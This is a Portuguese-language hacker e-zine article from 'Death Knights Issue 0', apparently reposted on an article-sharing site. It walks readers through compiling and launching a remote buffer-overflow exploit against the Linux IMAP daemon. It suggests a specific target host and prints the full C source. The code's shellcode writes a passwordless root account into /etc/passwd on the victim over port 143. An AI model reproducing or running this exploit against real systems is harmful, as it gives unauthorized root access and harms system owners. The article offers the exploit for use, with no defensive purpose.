Copy Link
Add to Bookmark
Report

iMPAD XPLOiT

Death Knights Issue 0

eZine's profile picture
Published in 
Death Knights
 · 2 years ago

by |UnDeR|

al0w Dudes....

Vim escrever nesse zine a convite do Cacaio ( num eh pra ser puxa sako naum mas.. valeu mesmo), bem, nesse curto espaco q tenho, falarei um pouco sobre o xploit do imapd, nao me perguntem para que server q eu nao tenho a menor ideia do q ele faiz... soh sei que eh um "Servico do Linux". o fato importante e que ele e facil de ser xploitado. Esse xploit eh encontrado em algumas versoes dos sistemas linux, o que faremos eh um overflow de buffer no sistema. Para utilizar esse xploit voce precisa de uma shell com o compilador gcc ou cc ou g++ ou c++ ou algum desses, contanto q funcione. :)


Copie o imapd.c para o diretorio de Sua shell

Execute o comando:

#gcc -o imap imap.c

Caso nao funcione, ou seja um sistema linux antigo, tente:

  • #c++ -o imap imap.c ou
  • #g++ -o imap imap.c ou
  • #cc -o imap imap.c ou qualquer compilados q funcione.


Como eu utilizo!?!?:

imapd host.a.hackear.com

Bem, vou tentar hackear o host www.infinite.com.br entao....

imapd www.infinite.com.br

Bem, soh isso... ahhhhhhhh!!!! Quase ia me esquecendo... aih vai o imapd.c..

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx------- 

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>

char *h_to_ip(char *hostname);

char *h_to_ip(char *hostname) {

struct hostent *h;
struct sockaddr_in tmp;
struct in_addr in;

h = gethostbyname(hostname);

if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }

memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
memcpy(&in,&tmp.sin_addr.s_addr,4);

return(inet_ntoa(in));
}

void banner(void) {
system("clear");
printf("\nIMAP Exploit for Linux.\n");
printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
printf(" Modifications: p1 (p1@el8.org)\n");
}

main(int argc, char **argv) {

int fd;
struct sockaddr_in sckdaddr;
char *hostname;
char buf[4092];
int i=8;
char realegg[] =
"\xeb\x58\x5e"
"\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
"\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
"\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
"\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
"\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
"\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
"\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
"\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
"/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
char *point = realegg;
buf[0]='*';
buf[1]=' ';
buf[2]='l';
buf[3]='o';
buf[4]='g';
buf[5]='i';
buf[6]='n';
buf[7]=' ';

banner();

if (argc<2) {
printf("\nUsage: %s <hostname>\n\n", argv[0]);
exit(-1);
}

hostname=argv[1];

while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
buf[i++]=0x90;

while(*point)
buf[i++]=*(point++);

buf[i++]=0x83; /* ebp */
buf[i++]=0xf3;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=0x88; /* ret adr */
buf[i++]=0xf8;
buf[i++]=0xff;
buf[i++]=0xbf;

buf[i++]=' ';
buf[i++]='b';
buf[i++]='a';
buf[i++]='h';
buf[i++]='\n';

buf[i++]=0x0;


if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
socket. \n"
);

sckdaddr.sin_port=htons(143);
sckdaddr.sin_family=AF_INET;
sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));

if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
perror("Error with connecting. \n");

printf("hmm: \n");
getchar();
write(fd,buf,strlen(buf)+1);
printf("hmm: \n");
close(fd);
}

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT